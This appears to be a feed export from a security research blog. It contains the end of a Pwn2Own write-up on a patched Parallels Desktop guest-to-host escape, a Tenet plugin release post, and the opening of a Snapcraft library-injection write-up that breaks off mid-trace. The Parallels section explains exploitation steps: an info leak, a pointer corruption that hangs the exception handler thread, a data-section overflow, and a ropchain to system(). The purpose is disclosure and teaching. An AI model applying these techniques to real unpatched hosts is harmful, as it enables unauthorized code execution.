&lt;p&gt;There is no check, however, that the input indeed contains a null terminator. The &lt;code class=&quot;highlighter-rouge&quot;&gt;0x74&lt;/code&gt; additional bytes following the input (and potentially whatever is on the stack afterwards) may be interpreted as part of the string, exceeding the expected 1024 length limit.&lt;/p&gt;

&lt;p&gt;At &lt;code class=&quot;highlighter-rouge&quot;&gt;[2]&lt;/code&gt;, the string is copied into a local stack structure. This is where the overflow can occur. There is just enough data in the input &lt;code class=&quot;highlighter-rouge&quot;&gt;dnd_blob&lt;/code&gt; structure to corrupt the &lt;code class=&quot;highlighter-rouge&quot;&gt;msg.worker&lt;/code&gt; pointer with a controlled value, which is written to at &lt;code class=&quot;highlighter-rouge&quot;&gt;[3]&lt;/code&gt;. This gives us a write of an uncontrolled value (the &lt;code class=&quot;highlighter-rouge&quot;&gt;req&lt;/code&gt; pointer) to an arbitrary location.&lt;/p&gt;

&lt;p&gt;In theory, if the contents of the stack after the &lt;code class=&quot;highlighter-rouge&quot;&gt;dnd_blob&lt;/code&gt; structure were non-zero and somewhat controllable, this overflow could corrupt the return address or other stack data. Empirically, there seemed to always be zeroes following the &lt;code class=&quot;highlighter-rouge&quot;&gt;dnd_blob&lt;/code&gt;, and this path was not pursued.&lt;/p&gt;

&lt;h2 id=&quot;exception-handling-on-macos&quot;&gt;Exception Handling on macOS&lt;/h2&gt;

&lt;p&gt;It is likely possible the semi-controlled pointer write above would have been enough to finagle our way to code execution. Instead, our exploit will leverage this weaker bug to render the megasmash (bug #1) reliably exploitable.&lt;/p&gt;

&lt;p&gt;The key realization to make is that when the megasmash inevitably causes a page fault, this doesn’t necessarily result in the death of the process. As part of the &lt;a href=&quot;https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/KernelProgramming/Mach/Mach.html&quot;&gt;Mach&lt;/a&gt; architecture of macOS, the page fault generates an exception (&lt;code class=&quot;highlighter-rouge&quot;&gt;EXC_BAD_ACCESS&lt;/code&gt;), which is sent as a mach message to the registered exception port (at either the thread, task, or host level). The thread that generated the exception remains suspended until a response to the mach message is received (but other threads may continue to run).&lt;/p&gt;

&lt;p&gt;Under normal circumstances, there is neither a thread-level or task-level exception port registered, and the host-level (i.e. system-wide) exception handling ends up killing the task. &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt;, however, does register a task-level exception port using &lt;a href=&quot;https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_set_exception_ports.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;task_set_exception_ports&lt;/code&gt;&lt;/a&gt;, for 3 exception types: &lt;code class=&quot;highlighter-rouge&quot;&gt;EXC_BAD_ACCESS&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;EXC_BAD_INSTRUCTION&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;EXC_ARITHMETIC&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;i-know-the-pieces-fit&quot;&gt;I Know the Pieces Fit&lt;/h2&gt;

&lt;p&gt;In terms of intended functionality, my guess is that Parallels intercepts these exceptions for crash reporting purposes. A separate thread is spawned with the sole purpose of, in a loop, reading messages from the exception port, handling them, and responding back.&lt;/p&gt;

&lt;p&gt;What happens if this exception handling thread triggers an exception?&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The exception handling thread enters the kernel exception delivery code, and is effectively suspended&lt;/li&gt;
  &lt;li&gt;A message is sent to the task-level exception port&lt;/li&gt;
  &lt;li&gt;The kernel waits for a response…&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This response will never come, seeing as the thread intended by &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; to respond to the exception port message, is itself suspended due to an exception.&lt;/p&gt;

&lt;p&gt;As a side note, a potentially more robust technique would have been to set the exception ports at the thread level (with &lt;a href=&quot;https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/thread_set_exception_ports.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;thread_set_exception_ports&lt;/code&gt;&lt;/a&gt;), for each individual thread &lt;em&gt;except for&lt;/em&gt; the exception handler. That way, exceptions generated by the handler will get forwarded to the default host-level machinery.&lt;/p&gt;

&lt;p&gt;If we find a way to force the exception handler thread to fault, the megasmash suddenly seems a lot more exploitable:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Perform whatever setup so the exception handler will crash later&lt;/li&gt;
  &lt;li&gt;Megasmash the QtCore data section, which faults and generates an exception&lt;/li&gt;
  &lt;li&gt;Exception handler faults and generates an exception, leaving both threads suspended indefinitely&lt;/li&gt;
  &lt;li&gt;Wait for another thread to use the corrupted QtCore data section in an interesting way&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Using our limited stack-based buffer overflow (bug #3), we can corrupt a pointer the exception handler will later attempt dereferencing, causing the thread to fault and suspend indefinitely.&lt;/p&gt;

&lt;p&gt;This is simple to achieve in practice. When the exception handler is being initialized, prior to calling &lt;code class=&quot;highlighter-rouge&quot;&gt;task_set_exception_ports&lt;/code&gt;, the pre-existing ports are retrieved (with &lt;a href=&quot;https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_exception_ports.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;task_get_exception_ports&lt;/code&gt;&lt;/a&gt;) and stored in a heap allocated structure. Later on, when the handler thread receives an exception message, one of its first actions is to reset the exception ports to the original ones using this structure. This heap pointer resides in the data section, and will serve as the target pointer we will corrupt.&lt;/p&gt;

&lt;h2 id=&quot;putting-everything-together&quot;&gt;Putting Everything Together&lt;/h2&gt;

&lt;p&gt;The final exploit then looks something like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Use the info leak (bug #2) to obtain the base addresses of &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; and QtCore
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt;: Experimenting by running the leak many times had a text pointer showing up relatively often. It turned out to be a function pointer passed to &lt;code class=&quot;highlighter-rouge&quot;&gt;CFRunLoopTimerCreate&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;QtCore: The &lt;code class=&quot;highlighter-rouge&quot;&gt;CDragDropWorkerBase&lt;/code&gt; objects contain &lt;code class=&quot;highlighter-rouge&quot;&gt;QList&lt;/code&gt; objects, which if empty, contain a pointer to &lt;code class=&quot;highlighter-rouge&quot;&gt;QListData::shared_null&lt;/code&gt; (in the QtCore data section). By spraying many workers then deleting them, we can (eventually) get this leak
&lt;br /&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Use the uncontrolled pointer write (bug #3) to corrupt the pointer to the original exception ports
    &lt;ul&gt;
      &lt;li&gt;By misaligning the write 4 bytes into the 8-byte pointer, we can ensure the new value will be a non-canonical garbage address
&lt;br /&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Megasmash the QtCore data section (bug #1)
    &lt;ul&gt;
      &lt;li&gt;We target a function pointer &lt;code class=&quot;highlighter-rouge&quot;&gt;qt_signal_spy_callback_set&lt;/code&gt; (a hook of sorts triggered often through normal operation of &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt;) with fully controlled and carefully placed data, amidst our massive corruption of Qt’s writable data segment&lt;/li&gt;
      &lt;li&gt;The megasmash will run off the end of the writable data segment triggering an &lt;code class=&quot;highlighter-rouge&quot;&gt;EXC_BAD_ACCESS&lt;/code&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Crash the exception handler thread
    &lt;ul&gt;
      &lt;li&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;prl_vm_app&lt;/code&gt; exception handler will attempt to restore the original exception ports from the heap-allocated structure. Since we corrupted this pointer with an invalid address in step 2, it will force the exception handler thread to fault.
&lt;br /&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Wait for another thread to use the corrupted function pointer
    &lt;ul&gt;
      &lt;li&gt;Stack pivot, short ropchain to call &lt;code class=&quot;highlighter-rouge&quot;&gt;system(...)&lt;/code&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;rcx&lt;/code&gt; happens to be pointing into the corrupted QtCore data section, an &lt;code class=&quot;highlighter-rouge&quot;&gt;lea rsp, [rcx+0x30] ; ret&lt;/code&gt; gadget kicks off the ropchain&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Providing the string &lt;code class=&quot;highlighter-rouge&quot;&gt;open -a Calculator&lt;/code&gt; to &lt;code class=&quot;highlighter-rouge&quot;&gt;system(...)&lt;/code&gt; is sufficient to pop calc&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Roughly, the steps described above which make up the final exploit are illustrated by the following animation:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot; style=&quot;margin-bottom: 1rem&quot;&gt;
&lt;a id=&quot;p2o_2021_parallels_animation_a&quot; href=&quot;/assets/img/p2o_2021_parallels_animation_1.svg&quot; data-lightbox=&quot;p2o_2021_parallels_animation_1.svg&quot; data-title=&quot;Animation of the Exploit Flow&quot;&gt;
&lt;img id=&quot;p2o_2021_parallels_animation_img&quot; src=&quot;/assets/img/p2o_2021_parallels_animation_1.svg&quot; alt=&quot;Animation of the Exploit Flow&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;script&gt;
setInterval(() =&gt; {
    let a = document.getElementById(&quot;p2o_2021_parallels_animation_a&quot;)
    let img = document.getElementById(&quot;p2o_2021_parallels_animation_img&quot;)
    let cur = parseInt(img.src[img.src.length-5])
    if (++cur == 9)
        cur = 1
    img.src = img.src.slice(0, -5)+cur+&quot;.svg&quot;
    a.href = img.src
    a[&quot;data-lightbox&quot;] = a[&quot;data-lightbox&quot;].slice(0, -5)+cur+&quot;.svg&quot;
}, 1500)
&lt;/script&gt;

&lt;p&gt;A less dramatic video of the successful $40,000 exploit entry running live is available on ZDI’s &lt;a href=&quot;https://youtu.be/smav9ljrgSE?t=837&quot;&gt;day two&lt;/a&gt; stream of Pwn2Own 2021. The full exploit code can be found &lt;a href=&quot;https://github.com/ret2/Pwn2Own-2021-Parallels&quot;&gt;here&lt;/a&gt; on our GitHub.&lt;/p&gt;

&lt;h2 id=&quot;bugfixes&quot;&gt;Bugfixes&lt;/h2&gt;

&lt;p&gt;The bugs used in this exploit were all &lt;a href=&quot;https://kb.parallels.com/125013&quot;&gt;patched&lt;/a&gt; by Parallels version 49187.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Bug #3 (the stack buffer overflow) was patched with a check for a null word in the first 1024 UTF-16 characters&lt;/li&gt;
  &lt;li&gt;Bug #2 (the information leak) was patched by calling &lt;code class=&quot;highlighter-rouge&quot;&gt;bzero(...)&lt;/code&gt; after resizing the output array&lt;/li&gt;
  &lt;li&gt;Bug #1 (megasmash) was patched by ensuring the size passed to &lt;code class=&quot;highlighter-rouge&quot;&gt;QByteArray&lt;/code&gt; is non-negative
    &lt;ul&gt;
      &lt;li&gt;While potentially a dangerous pattern, Qt stated that the QtCore integer overflow was not a bug in QtCore, instead that it is a misuse of the API to ask to create a structure with negative size
        &lt;ul&gt;
          &lt;li&gt;Interestingly, at the time, the master branch of &lt;a href=&quot;https://github.com/qt/qtbase&quot;&gt;QtCore&lt;/a&gt; did not exhibit the integer overflow due to a refactor in how the size parameter is passed around.&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The confusion over whether Qt should actually fix the overflow further delayed the publication of this writeup.&lt;/p&gt;

&lt;p&gt;For one reason or another, ZDI opted to drop Parallels from 2022’s competition:&lt;/p&gt;

&lt;div class=&quot;jekyll-twitter-plugin&quot;&gt;&lt;blockquote class=&quot;twitter-tweet&quot; align=&quot;center&quot; data-theme=&quot;dark&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;RIP Parallels 2021-2021 &lt;a href=&quot;https://t.co/aThASMwp1P&quot;&gt;https://t.co/aThASMwp1P&lt;/a&gt;&lt;/p&gt;&amp;mdash; Bruno (@bkth_) &lt;a href=&quot;https://twitter.com/bkth_/status/1481278336517169153?ref_src=twsrc%5Etfw&quot;&gt;January 12, 2022&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async=&quot;&quot; src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;In this post, we detailed a guest-to-host escape of the Parallels Desktop virtualization platform by chaining together three different vulnerabilities. More importantly, we were able to produce another meaningful (real-world) example of both surviving and then exploiting a ‘wild’ unbounded &lt;code class=&quot;highlighter-rouge&quot;&gt;memcpy(...)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We believe that the techniques discussed here can be generalized and applied to successfully exploit similar issues that may otherwise appear impractical or impossible to exploit.&lt;/p&gt;</content><author><name>Jack Dates</name></author><summary type="html">This post details the development of a guest-to-host virtualization escape for Parallels Desktop on macOS, as used in our successful Pwn2Own 2021 entry. Given privileged code execution in the guest (i.e. via kernel module), the exploit obtains code execution in the Parallels application process running on the host system. After providing a brief look at the approach I took towards evaluating Parallels and exploring some of its relevant attack surface, the remainder of the post will demonstrate how we were able to reliably exploit an unbounded memcpy(...) corruption style vulnerability to achieve arbitrary code execution. A demo of the exploit running inside the guest popping calc on the host</summary></entry><entry><title type="html">What’s New in Tenet v0.2</title><link href="https://blog.ret2.io/2021/09/14/tenet-v0.2/" rel="alternate" type="text/html" title="What’s New in Tenet v0.2" /><published>2021-09-14T11:15:00+00:00</published><updated>2021-09-14T11:15:00+00:00</updated><id>https://blog.ret2.io/2021/09/14/tenet-v0.2</id><content type="html" xml:base="https://blog.ret2.io/2021/09/14/tenet-v0.2/">&lt;p&gt;&lt;a href=&quot;https://github.com/gaasedelen/tenet&quot;&gt;Tenet&lt;/a&gt; is an &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot;&gt;IDA Pro&lt;/a&gt; plugin which enables reverse engineers to explore execution traces of native code. It is a testbed for evaluating how omniscient traces might facilitate new and innovative debugging experiences, improving the speed of software comprehension in reverse engineers and developers alike.&lt;/p&gt;

&lt;p&gt;In this post, we’ll be covering some of the updates that made their way into the &lt;a href=&quot;https://github.com/gaasedelen/tenet/releases/tag/v0.2.0&quot;&gt;v0.2&lt;/a&gt; release of Tenet. As the first ‘major’ update to Tenet, the goal was to fix several quality-of-life issues and improve its general usability. Like any new project, there will be some growing pains as the project begins to find its feet.&lt;/p&gt;

&lt;p&gt;For more background information about Tenet, please see the post about its &lt;a href=&quot;https://blog.ret2.io/2021/04/20/tenet-trace-explorer/&quot;&gt;initial release&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/tenet_v02_title_image.png&quot; data-lightbox=&quot;tenet_v02_title_image.png&quot; data-title=&quot;Tenet is an execution trace explorer for reverse engineers&quot;&gt;
    
      &lt;img src=&quot;/assets/img/tenet_v02_title_image.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Tenet is an execution trace explorer for reverse engineers&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;cells-of-execution&quot;&gt;Cells of Execution&lt;/h2&gt;

&lt;p&gt;The first and most striking change included in the v0.2 update has to do with Tenet’s interactive trace timelines. There is a new ‘cell-based’ drawing mode that activates once the instruction ‘density’ falls beneath a certain threshold. In other words, if you ‘zoom in’ enough on the tracebars, you can start to see the individual ‘cells’ of execution:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/tenet_execution_cells.gif&quot; data-lightbox=&quot;tenet_execution_cells.gif&quot; data-title=&quot;The 'cells of execution' begin to appear as you reach the maximum levels of trace inspection&quot;&gt;
    
      &lt;img src=&quot;/assets/img/tenet_execution_cells.gif&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The 'cells of execution' begin to appear as you reach the maximum levels of trace inspection&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;While this feature is mostly for fun, it is meant to attach some kind of tangible structure to the fundamental element of execution: a single executed instruction. Is it useful? Maybe, maybe not. Tenet is simply an experiment to play with new ways of observing software execution.&lt;/p&gt;

&lt;p&gt;What will be the next structure of execution worth visualizing?&lt;/p&gt;

&lt;h2 id=&quot;automatic-imagebase-resolution&quot;&gt;Automatic Imagebase Resolution&lt;/h2&gt;

&lt;p&gt;After loading a trace, Tenet will now perform some basic analysis of the executed addresses to identify which regions of memory appear to couple tightly with the open IDA database. This is used to automatically compute the ASLR slide between relevant traced addresses, and the static imagebase.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/tenet_aslr_slide.png&quot; data-lightbox=&quot;tenet_aslr_slide.png&quot; data-title=&quot;Tenet can now automatically resolve ASLR differences between the trace and the database&quot;&gt;
    
      &lt;img src=&quot;/assets/img/tenet_aslr_slide.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Tenet can now automatically resolve ASLR differences between the trace and the database&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Automatically resolving the ASLR slide means that Tenet will be able to follow traces without the annoying requirement of having to rebase your database onto the runtime addresses captured in your trace.&lt;/p&gt;

&lt;h2 id=&quot;unmapped-trace-regions&quot;&gt;Unmapped Trace Regions&lt;/h2&gt;

&lt;p&gt;While it is strongly recommended that you ‘&lt;a href=&quot;https://github.com/gaasedelen/tenet/tree/master/tracers/pin#additional-parameters&quot;&gt;filter&lt;/a&gt;’ your traces, Tenet now colors ‘un-explorable’ trace regions gray. These are parts of the trace that do not seem to correspond to the executable opened in IDA, and thus cannot be navigated to.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/tenet_unmapped_tracking.gif&quot; data-lightbox=&quot;tenet_unmapped_tracking.gif&quot; data-title=&quot;Tenet now colors 'un-explorable' regions of the trace as gray&quot;&gt;
    
      &lt;img src=&quot;/assets/img/tenet_unmapped_tracking.gif&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Tenet now colors 'un-explorable' regions of the trace as gray&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;In addition, Tenet will no longer jump IDA ‘wildly’ all over the place when stepping through these regions. Instead, it stays fixed on the instruction which caused the entry into the unmapped region.&lt;/p&gt;

&lt;h2 id=&quot;improved-breakpoint-selection-model&quot;&gt;Improved Breakpoint Selection Model&lt;/h2&gt;

&lt;p&gt;In the v0.1 release, Tenet was simply too chaotic and unforgiving in its manner of placing/removing breakpoints. You now must &lt;em&gt;double click&lt;/em&gt; to place a memory breakpoint, or execution breakpoint.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/tenet_new_breakpoints.gif&quot; data-lightbox=&quot;tenet_new_breakpoints.gif&quot; data-title=&quot;The new breakpoint workflow requires you to double click memory or RIP to set breakpoints&quot;&gt;
    
      &lt;img src=&quot;/assets/img/tenet_new_breakpoints.gif&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The new breakpoint workflow requires you to double click memory or RIP to set breakpoints&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;As breakpoints are now placed much more explicitly, you can have both an execution and memory breakpoint active at the same time. To remove breakpoints, you can &lt;em&gt;double click&lt;/em&gt; empty area in the memory or register windows.&lt;/p&gt;

&lt;p&gt;Breakpoints can now have their access type set via right click, same with region breakpoints.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/tenet_new_breakpoint_regions.gif&quot; data-lightbox=&quot;tenet_new_breakpoint_regions.gif&quot; data-title=&quot;Changing breakpoints to show only the specified types of memory accesses&quot;&gt;
    
      &lt;img src=&quot;/assets/img/tenet_new_breakpoint_regions.gif&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Changing breakpoints to show only the specified types of memory accesses&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;In the future, there will hopefully be a dedicated widget to manage and configure multiple breakpoints.&lt;/p&gt;

&lt;h2 id=&quot;what-the-fuzz--tenet&quot;&gt;what the fuzz + Tenet&lt;/h2&gt;

&lt;p&gt;In a &lt;a href=&quot;https://blog.ret2.io/2021/07/21/wtf-snapshot-fuzzing/&quot;&gt;previous post&lt;/a&gt;, we demonstrated one of the best real-world use cases for Tenet today: &lt;em&gt;performing root-cause-analysis on crashes produced by snapshot-based fuzzers!&lt;/em&gt; Since our post, Axel (&lt;a href=&quot;https://twitter.com/0vercl0k&quot;&gt;@0vercl0k&lt;/a&gt;) was kind enough to clean up and merge our &lt;a href=&quot;https://github.com/0vercl0k/wtf/pull/12&quot;&gt;pull request&lt;/a&gt; which enables &lt;a href=&quot;https://github.com/0vercl0k/wtf&quot;&gt;&lt;strong&gt;&lt;em&gt;what the fuzz&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; to generate Tenet traces.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/wtf_tenet_traces.gif&quot; data-lightbox=&quot;wtf_tenet_traces.gif&quot; data-title=&quot;Using what the fuzz to generate Tenet traces for manual root cause analysis&quot;&gt;
    
      &lt;img src=&quot;/assets/img/wtf_tenet_traces.gif&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Using what the fuzz to generate Tenet traces for manual root cause analysis&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;It looks like there’s already a few &lt;a href=&quot;https://github.com/0vercl0k/wtf/issues/21&quot;&gt;brave souls&lt;/a&gt; trying to put this bleeding edge combo to work.&lt;/p&gt;

&lt;h2 id=&quot;last-command&quot;&gt;!last Command&lt;/h2&gt;

&lt;p&gt;Oftentimes, the last &lt;em&gt;navigable&lt;/em&gt; instruction may not be at the absolute end of your trace. For this reason, it made sense to add the &lt;code class=&quot;highlighter-rouge&quot;&gt;!last&lt;/code&gt; command to the ‘timestamp shell’ that would jump Tenet to this point of interest.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/tenet_last_command.gif&quot; data-lightbox=&quot;tenet_last_command.gif&quot; data-title=&quot;Using !last in the timestamp shell will seek to the last 'navigable' instruction&quot;&gt;
    
      &lt;img src=&quot;/assets/img/tenet_last_command.gif&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Using !last in the timestamp shell will seek to the last 'navigable' instruction&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Tracing a user mode crash in &lt;strong&gt;&lt;em&gt;what the fuzz&lt;/em&gt;&lt;/strong&gt; shows one case where this command demonstrates utility, taking us to the moment the user mode program ‘crashes’, just before the trace continues into the kernel mode fault handler.&lt;/p&gt;

&lt;h2 id=&quot;other-changes&quot;&gt;Other Changes&lt;/h2&gt;

&lt;p&gt;While this post has covered the most notable updates for this release of Tenet, please &lt;a href=&quot;https://github.com/gaasedelen/tenet/releases/tag/v0.2.0&quot;&gt;click here&lt;/a&gt; to see more details and the complete changelog on GitHub.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Tenet is a work in progress. It is meant to place new ideas in the context of real-world problems to evaluate their efficacy. As it continues to mature, we hope that it will change the way we perceive software and study execution.&lt;/p&gt;

&lt;p&gt;Our experience developing for these technologies is second to none. &lt;a href=&quot;https://ret2.io/&quot;&gt;RET2&lt;/a&gt; is happy to consult in these spaces, providing plugin development services, the addition of custom features to existing works, or other unique opportunities with regard to security tooling. If your organization has a need for this expertise, please feel free to &lt;a href=&quot;https://ret2.io/contact&quot;&gt;reach out&lt;/a&gt;.&lt;/p&gt;</content><author><name>Markus Gaasedelen</name></author><summary type="html">Tenet is an IDA Pro plugin which enables reverse engineers to explore execution traces of native code. It is a testbed for evaluating how omniscient traces might facilitate new and innovative debugging experiences, improving the speed of software comprehension in reverse engineers and developers alike. In this post, we’ll be covering some of the updates that made their way into the v0.2 release of Tenet. As the first ‘major’ update to Tenet, the goal was to fix several quality-of-life issues and improve its general usability. Like any new project, there will be some growing pains as the project begins to find its feet. For more background information about Tenet, please see the post about its initial release. Tenet is an execution trace explorer for reverse engineers</summary></entry><entry><title type="html">Snapcraft Packages Come With Extra Baggage</title><link href="https://blog.ret2.io/2021/08/04/snapcraft-injection/" rel="alternate" type="text/html" title="Snapcraft Packages Come With Extra Baggage" /><published>2021-08-04T11:14:00+00:00</published><updated>2021-08-04T11:14:00+00:00</updated><id>https://blog.ret2.io/2021/08/04/snapcraft-injection</id><content type="html" xml:base="https://blog.ret2.io/2021/08/04/snapcraft-injection/">&lt;style&gt;
@import url('https://fonts.googleapis.com/css2?family=Indie+Flower&amp;display=swap');
.highlight .nt {
    color: #9c9cff;
}
&lt;/style&gt;

&lt;p&gt;Several months ago I found &lt;a href=&quot;https://discourse.ubuntu.com/t/usn-4661-1-snapcraft-vulnerability/19640&quot;&gt;an issue&lt;/a&gt; (now CVE-2020-27348) with Ubuntu’s new package management system, &lt;a href=&quot;https://snapcraft.io/&quot;&gt;Snapcraft&lt;/a&gt;. This bug introduced a classic pattern of insecurity to these ‘Snap’ managed applications which is analogous to DLL sideloading issues on Windows (a form of &lt;a href=&quot;https://en.wikipedia.org/wiki/DLL_injection&quot;&gt;dynamic library injection&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;In this post, I’ll discuss how this issue was discovered while playing in a CTF and how it can be leveraged to get code execution via these packages. Some of the affected packages included Chromium, VLC, Docker, Audacity, and many others available through the new package manager.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/snapcraft_vlc_exploit.mp4&quot; target=&quot;_blank&quot; data-title=&quot;Exploiting the VLC Snapcraft Package&quot;&gt;
    
      &lt;video style=&quot;width: 100%&quot; controls=&quot;&quot; playsinline=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
        &lt;source src=&quot;/assets/img/snapcraft_vlc_exploit.mp4&quot; alt=&quot;&quot; /&gt;
      &lt;/video&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Exploiting the VLC Snapcraft Package&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;a-segfault-in-docker&quot;&gt;A Segfault In Docker&lt;/h2&gt;

&lt;p&gt;I originally ran into this bug while playing a CTF. I was working on a binary exploitation challenge (a ‘pwnable’) where competitors were provided with the vulnerable binary alongside a copy of the &lt;code class=&quot;highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; (a standard C library, shared object) that was running on the server.&lt;/p&gt;

&lt;p&gt;I created a docker container for the challenge materials to start work on the task, but when I tried to run &lt;code class=&quot;highlighter-rouge&quot;&gt;docker build&lt;/code&gt; I got a very unexpected message:&lt;/p&gt;

&lt;div class=&quot;language-escape highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker build -t ctf .
&lt;span style=&quot;color:red&quot;&gt;Segmentation fault (core dumped)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now this surprised me because I had never seen the &lt;code class=&quot;highlighter-rouge&quot;&gt;docker&lt;/code&gt; command segfault like that before. Testing from a different directory, &lt;code class=&quot;highlighter-rouge&quot;&gt;docker&lt;/code&gt; worked as expected, so something special was happening in the challenge directory.&lt;/p&gt;

&lt;p&gt;I immediately had a suspicion that docker itself was somehow loading the challenge’s &lt;code class=&quot;highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; in the current directory rather than the standard C library installed on my host system.&lt;/p&gt;

&lt;p&gt;To test this hypothesis, we can use &lt;a href=&quot;https://man7.org/linux/man-pages/man1/strace.1.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;strace&lt;/code&gt;&lt;/a&gt; to look for libraries accessed at runtime:&lt;/p&gt;

&lt;div class=&quot;language-escape highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ &lt;span style=&quot;color:#858585&quot;&gt;sudo strace -f -v -e openat -s 1000 sudo -u $(whoami) docker&lt;/span&gt;
...
[pid 50669] openat(AT_FDCWD, &quot;/snap/docker/796/lib/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
